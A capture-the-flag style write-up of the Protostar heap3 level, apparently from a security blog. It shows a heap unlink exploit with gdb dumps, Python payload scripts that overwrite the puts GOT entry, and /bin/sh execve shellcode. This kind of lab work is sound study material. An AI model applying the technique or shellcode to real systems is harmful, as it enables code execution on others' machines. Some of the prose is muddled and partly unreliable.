Exploiting Protostar – Heap Unlink Exploitation 2023
In this article we will tackle the 4th challenge from Heap Levels of Protostar and Heap Unlink Exploitation.
Introduction to Exploiting Protostar – Heap Unlink Exploitation
This level introduces us to a very old heap deallocation vulnerability, where the malloc method can be used to deallocate free parts of the heap and gain code execution by overwriting arbitrary memory locations on the heap. If you have no idea what heap or heap chunks mean, you can check my previous article here.
Note
The goal of this challenge is to execute the winner function, but we’ll also use its code execution to understand how various free() calls can overwrite data on the heaps and corrupt your shellcode.
Stack 3
The goal of this level is to perform the function of the winner. Let’s take a look at the breakdown of this binary star.
(gdb) disass main Dump of assembler code for function main: 0x08048889 <main+0>: push ebp 0x0804888a <main+1>: mov ebp,esp 0x0804888c <main+3>: and esp,0xfffffff0 0x0804888f <main+6>: sub esp,0x20 ; allocate 32 bytes for the first variable at [esp+0x14] 0x08048892 <main+9>: mov DWORD PTR [esp],0x20 0x08048899 <main+16>: call 0x8048ff2 <malloc> 0x0804889e <main+21>: mov DWORD PTR [esp+0x14],eax ; allocate 32 bytes for the second variable at [esp+0x18] 0x080488a2 <main+25>: mov DWORD PTR [esp],0x20 0x080488a9 <main+32>: call 0x8048ff2 <malloc> 0x080488ae <main+37>: mov DWORD PTR [esp+0x18],eax ; allocate 32 bytes for the third variable at [esp+0x1c] 0x080488b2 <main+41>: mov DWORD PTR [esp],0x20 0x080488b9 <main+48>: call 0x8048ff2 <malloc> 0x080488be <main+53>: mov DWORD PTR [esp+0x1c],eax ; copy userinput to the first variable [esp+0x14] using vulnerable strcpy() call 0x080488c2 <main+57>: mov eax,DWORD PTR [ebp+0xc] 0x080488c5 <main+60>: add eax,0x4 0x080488c8 <main+63>: mov eax,DWORD PTR [eax] 0x080488ca <main+65>: mov DWORD PTR [esp+0x4],eax 0x080488ce <main+69>: mov eax,DWORD PTR [esp+0x14] 0x080488d2 <main+73>: mov DWORD PTR [esp],eax 0x080488d5 <main+76>: call 0x8048750 <strcpy@plt> ; copy user input to the second variable [esp+0x18] using vulnerable strcpy() call 0x080488da <main+81>: mov eax,DWORD PTR [ebp+0xc] 0x080488dd <main+84>: add eax,0x8 0x080488e0 <main+87>: mov eax,DWORD PTR [eax] 0x080488e2 <main+89>: mov DWORD PTR [esp+0x4],eax 0x080488e6 <main+93>: mov eax,DWORD PTR [esp+0x18] 0x080488ea <main+97>: mov DWORD PTR [esp],eax 0x080488ed <main+100>: call 0x8048750 <strcpy@plt> ; copy user input to the third variable [esp+0x1c] using vulnerable strcpy() call 0x080488f2 <main+105>: mov eax,DWORD PTR [ebp+0xc] 0x080488f5 <main+108>: add eax,0xc 0x080488f8 <main+111>: mov eax,DWORD PTR [eax] 0x080488fa <main+113>: mov DWORD PTR [esp+0x4],eax 0x080488fe <main+117>: mov eax,DWORD PTR [esp+0x1c] 0x08048902 <main+121>: mov DWORD PTR [esp],eax 0x08048905 <main+124>: call 0x8048750 <strcpy@plt> ; free memory in reverse of their allocation ; i.e. free the third variable at [esp+0x1c] first 0x0804890a <main+129>: mov eax,DWORD PTR [esp+0x1c] 0x0804890e <main+133>: mov DWORD PTR [esp],eax 0x08048911 <main+136>: call 0x8049824 <free> ; free the second variable at [esp+0x18] 0x08048916 <main+141>: mov eax,DWORD PTR [esp+0x18] 0x0804891a <main+145>: mov DWORD PTR [esp],eax 0x0804891d <main+148>: call 0x8049824 <free> ; free the third variable at [esp+0x14] 0x08048922 <main+153>: mov eax,DWORD PTR [esp+0x14] 0x08048926 <main+157>: mov DWORD PTR [esp],eax 0x08048929 <main+160>: call 0x8049824 <free> 0x0804892e <main+165>: mov DWORD PTR [esp],0x804ac27 0x08048935 <main+172>: call 0x8048790 <puts@plt> 0x0804893a <main+177>: leave 0x0804893b <main+178>: ret End of assembler dump. (gdb) disass winner Dump of assembler code for function winner: 0x08048864 <winner+0>: push ebp 0x08048865 <winner+1>: mov ebp,esp 0x08048867 <winner+3>: sub esp,0x18 0x0804886a <winner+6>: mov DWORD PTR [esp],0x0 0x08048871 <winner+13>: call 0x8048780 <time@plt> 0x08048876 <winner+18>: mov edx,0x804ac00 0x0804887b <winner+23>: mov DWORD PTR [esp+0x4],eax 0x0804887f <winner+27>: mov DWORD PTR [esp],edx 0x08048882 <winner+30>: call 0x8048760 <printf@plt> 0x08048887 <winner+35>: leave 0x08048888 <winner+36>: ret End of assembler dump. (gdb) |
Before diving directly into the inner working of the malloc free algorithm, let’s first understand the operation of the application by going through its disassembly. By looking at the disassembled code, we can understand that it allocates some memory on the heap and stores the pointer to the memory location in the three variables. It further uses a vulnerable strcpy function to copy data onto those three memory locations and at the end free them in reverse order.
Let’s confirm the same by doing a dynamic analysis and diving into our favorite GNU debugger. As can be seen, we first initialized a breakpoint at first free() call (0x08048911) function calls and passed our input. We further listed down the process mappings to note the starting address of heap memory and examine 60 dwords of it.
(gdb) b *0x08048911 Breakpoint 1 at 0x8048911: file heap3/heap3.c, line 24. (gdb) r AAAAAAAA BBBBBBBB CCCCCCCC Starting program: /opt/protostar/bin/heap3 AAAAAAAA BBBBBBBB CCCCCCCC Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffffd54) at heap3/heap3.c:24 24 heap3/heap3.c: No such file or directory. in heap3/heap3.c (gdb) info proc mappings process 1655 cmdline = ‘/opt/protostar/bin/heap3’ cwd = ‘/’ exe = ‘/opt/protostar/bin/heap3’ Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x804b000 0x3000 0 /opt/protostar/bin/heap3 0x804b000 0x804c000 0x1000 0x3000 /opt/protostar/bin/heap3 0x804c000 0x804d000 0x1000 0 [heap] 0xb7e96000 0xb7e97000 0x1000 0 0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc–2.11.2.so 0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc–2.11.2.so 0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc–2.11.2.so 0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc–2.11.2.so 0xb7fd9000 0xb7fdc000 0x3000 0 0xb7fe0000 0xb7fe2000 0x2000 0 0xb7fe2000 0xb7fe3000 0x1000 0 [vdso] 0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld–2.11.2.so 0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld–2.11.2.so 0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld–2.11.2.so 0xbffeb000 0xc0000000 0x15000 0 [stack] (gdb) x/60wx 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) |
Notice that each of our inputs is being copied to different heap chunks with dwords, which indicates the following information
<Heap mem> <prev_in_use> <size> <data> 0x804c000 0x00000000 0x00000029 0x41414141 0x41414141 |
By looking at how our input is laid out on the heap and using the strcpy function, we can deduce that we can overwrite heap blocks. As in our previous article, we used these techniques to override function pointers. However, we can clearly see that there is no function pointer in the heap memory that we can use to call the winner function.
Heap Unlink Exploit to Rescue
In the heap deallocation exploit, we take advantage of how malloc free() is implemented and what happens when any unused block is removed from the heap memory. So, when free() is called, some built-in checks are made to free that chunk of memory, which includes checking if adjacent chunks are free as well. If so, they will be merged and the two pointers (fd and bk) will be updated at the memory location originally returned by the malloc call.
Consolidation/merging of chunks is done by a forward and backward consolidation process.
In reverse consolidation, the checks include checking the prev_inuse bit for the block before the current block, if free, it is merged and the size of the previous block is updated by adding the current block size, and the current block pointer is updated to a point. to the previous part. However, in our case, when the first free call is made, i.e. free([esp+0x1c]), the previous block ([esp+0x18]) will be used, so this malloc merge path will not follow the blocks.
In the case of forward consolidation, the malloc algorithm takes the next block and checks from its next block whether the prev_in_use bit is set, if so, it detaches the block. In our case, the attacker’s fake piece now comes into play, where multiple fake pieces trick malloc into disconnecting the attackers part and writing data to any memory location.
In order for this exploit technique to work in our case, we also need to adjust the chunk size to be larger than 80 bytes, as our current chunk size currently falls below the non-double-linked fastbin chunk sizes. We can then update the forward and backward pointers from this doubly linked list and write the data to any location in memory.
The process of exploitation
We will refer to the memory locations discussed above as follows:
a = DWORD ptr[esp+0x14]
b = DWORD ptr[esp+0x18]
c = DWORD ptr[esp+0x1c]
We’ll use strcpy(b,argv[2]) to update the size of the chunk in c (0x64+0x1) so it’s greater than 80 bytes. Here 0x1 is to indicate that the previous block is in use.
(gdb) r AAAAAAAA `python -c “print ‘B’*36+’x65′”` CCCCCCCC The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/protostar/bin/heap3 AAAAAAAA `python -c “print ‘B’*36+’x65′”` CCCCCCCC Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffffd34) at heap3/heap3.c:24 24 in heap3/heap3.c (gdb) x/60wx 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x42424242 0x00000065 0x43434343 0x43434343 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) |
Controlling Forward and Backward Pointers
To control the forward and back pointers we need to create another dummy block without the prev_inuse bit and its size should also be greater than 80 bytes i.e. (0x00000064) so when free() is called this block will be disconnected from our defined forward and back pointer. But the problem is that we can’t pass null bytes because strcpy exits the rest of the data when it sees null bytes.
Related Article:UEFI Boot vs. the MBR/VBR Boot Process-byBlackhat Pakistan 2023
To overcome this, we use the negative shift technique described in article 9 of Phrack Issue 57. This means that when we add two large values (0xffffffffc + 0x64 = 100000060), their entire sum does not fit into the 32-bit size, and thus only 0x00000060 can be written to dword. So overcoming the zero byte problem.
To wrap it up, we’ll add a new block with a larger size and pointers to override the printf (optimized for PUTS) GOT with a pointer to our shellcode. We specified the GOT address of the puts function as follows:
(gdb) disass 0x8048790 Dump of assembler code for function puts@plt: 0x08048790 <puts@plt+0>: jmp DWORD PTR ds:0x804b128 0x08048796 <puts@plt+6>: push 0x68 0x0804879b <puts@plt+11>: jmp 0x80486b0 End of assembler dump. (gdb) p 0x804b128–0xc $1 = 134525212 (gdb) x 134525212 0x804b11c <_GLOBAL_OFFSET_TABLE_+52>: 0x08048766 (gdb) |
We created three files named A, B, C with following contents:
A – Some Junk + shellcode (mov eax, address of winner plt; call eax)
B – some junk + 0x65 (To adjust the size of chunk C)
C – <some junk> 0xffffffc 0xffffffc <GOT addr> <pointer to our shellcode on heap>
# filename : a.py #!/usr/bin/env python ‘A’*12+‘xB8x64x88x04x08xFFxD0’+‘x90’ # filename : b.py #!/usr/bin/env python ‘B’*36+‘x65’ # filename : c.py #!/usr/bin/env python import struct def p(addr): return struct.pack(“<I”,addr) “x90”*92+p(0xfffffffc)*2+p(0x804b11c)+p(0x804c014) |
Following screenshot shows the state of heap memory before and after the free() is executed. We can see that the chunk size of C is reduced by 4 bytes (0xffffffc+0x65 = 0x61) in after free section and our fake chunk has the size 0xfffffffc which is (11111111111111111111111111111100) last bit set to zero indicating that prev_inuse bit is not set and thus do merging, overwriting the GOT address of puts with the address of our shellcode.
(gdb) r `python /tmp/a.py` `python /tmp/b.py` `python /tmp/c.py` Starting program: /opt/protostar/bin/heap3 `python /tmp/a.py` `python /tmp/b.py` `python /tmp/c.py` Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffffcc4) at heap3/heap3.c:24 24 heap3/heap3.c: No such file or directory. in heap3/heap3.c (gdb) x/50wx 0x804c000 ; state of heap before the exploit 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x41414141 0x048864b8 0x90d0ff08 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x42424242 0x00000065 0x90909090 0x90909090 0x804c060: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c070: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c080: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c090: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c0a0: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c0b0: 0x90909090 0xfffffffc 0xfffffffc 0x0804b11c 0x804c0c0: 0x0804c014 0x00000000 (gdb) c Continuing. Breakpoint 2, main (argc=4, argv=0xbffffcc4) at heap3/heap3.c:28 28 in heap3/heap3.c (gdb) x/50wx 0x804c000 ; state of heap after the exploit 0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141 0x804c010: 0x41414141 0x048864b8 0x90d0ff08 0x0804b11c 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x00000000 0x42424242 0x42424242 0x42424242 0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242 0x804c050: 0x42424242 0x00000061 0x0804b194 0x0804b194 0x804c060: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c070: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c080: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c090: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c0a0: 0x90909090 0x90909090 0x90909090 0x90909090 0x804c0b0: 0x00000060 0xfffffffc 0xfffffffc 0x0804b11c 0x804c0c0: 0x0804c014 0x00000000 (gdb) c Continuing. that wasn’t too bad now, was it? @ 1503231861 Program received signal SIGSEGV, Segmentation fault. 0x0804c020 in ?? () (gdb) |
Executing exploit outside the GDB.

Code Execution:
For code execution, we planned our exploit as follows:
A – (mov eax, pointer to shellcode;call eax)
B – some junk + shellcode + next chunk size
C – some junk + size + pointers
# filename : a.py #!/usr/bin/env python jmp_addr = “xB8x34xC0x04x08xFFxD0” ‘A’*12+jmp_addr+‘A’*10 # filename : b.py #!/usr/bin/env python shellcode = “x31xC0x50x92x68x2Fx2Fx73x68x68x2Fx62x69x6Ex87xDCx31xC0xB0x0BxCDx80” block_size = ‘x65’ “B”*4+shellcode+‘B’*10+block_size # filename : c.py #!/usr/bin/env python import struct def p(addr): return struct.pack(“<I”,addr) “C”*92+p(0xfffffffc)*2+p(0x804b11c)+p(0x804c014) |
Following screenshot shows the state of heap memory before and after the free() call. An observant user may also have noticed that we have placed our JMP Code and shellcode after some bytes. This is because free() will also overwrite the data at a memory location where malloc pointer returns. Thus, we need to place our shellcode at some memory location where it does not get corrupted.
Before free() 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x41414141 0x04c034c8 0x41d0ff08 0x41414141 After free() 0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141 0x804c010: 0x41414141 0x04c034c8 0x41d0ff08 0x0804b11c |
(gdb) r `python /tmp/a.py` `python /tmp/b.py` `python /tmp/c.py` Starting program: /opt/protostar/bin/heap3 `python /tmp/a.py` `python /tmp/b.py` `python /tmp/c.py` Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffffcb4) at heap3/heap3.c:24 24 heap3/heap3.c: No such file or directory. in heap3/heap3.c (gdb) x/50wx 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141 0x804c010: 0x41414141 0x04c034b8 0x41d0ff08 0x41414141 0x804c020: 0x41414141 0x00000041 0x00000000 0x00000029 0x804c030: 0x42424242 0x9250c031 0x732f2f68 0x622f6868 0x804c040: 0xdc876e69 0x0bb0c031 0x424280cd 0x42424242 0x804c050: 0x42424242 0x00000065 0x43434343 0x43434343 0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c070: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c080: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c090: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c0a0: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c0b0: 0x43434343 0xfffffffc 0xfffffffc 0x0804b11c 0x804c0c0: 0x0804c014 0x00000000 (gdb) c Continuing. Breakpoint 2, main (argc=4, argv=0xbffffcb4) at heap3/heap3.c:28 28 in heap3/heap3.c (gdb) x/50wx 0x804c000 0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141 0x804c010: 0x41414141 0x04c034b8 0x41d0ff08 0x0804b11c 0x804c020: 0x41414141 0x00000041 0x00000000 0x00000029 0x804c030: 0x00000000 0x9250c031 0x732f2f68 0x622f6868 0x804c040: 0xdc876e69 0x0bb0c031 0x424280cd 0x42424242 0x804c050: 0x42424242 0x00000061 0x0804b194 0x0804b194 0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c070: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c080: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c090: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c0a0: 0x43434343 0x43434343 0x43434343 0x43434343 0x804c0b0: 0x00000060 0xfffffffc 0xfffffffc 0x0804b11c 0x804c0c0: 0x0804c014 0x00000000 (gdb) x/10i 0x804c034 0x804c034: xor eax,eax 0x804c036: push eax 0x804c037: xchg edx,eax 0x804c038: push 0x68732f2f 0x804c03d: push 0x6e69622f 0x804c042: xchg esp,ebx 0x804c044: xor eax,eax 0x804c046: mov al,0xb 0x804c048: int 0x80 0x804c04a: inc edx (gdb) |
The following screenshots show our shellcode being executed, both within and outside the GDB.
References
https://www.youtube.com/watch?v=HWhzH–89UQ
http://phrack.org/issues/57/9.html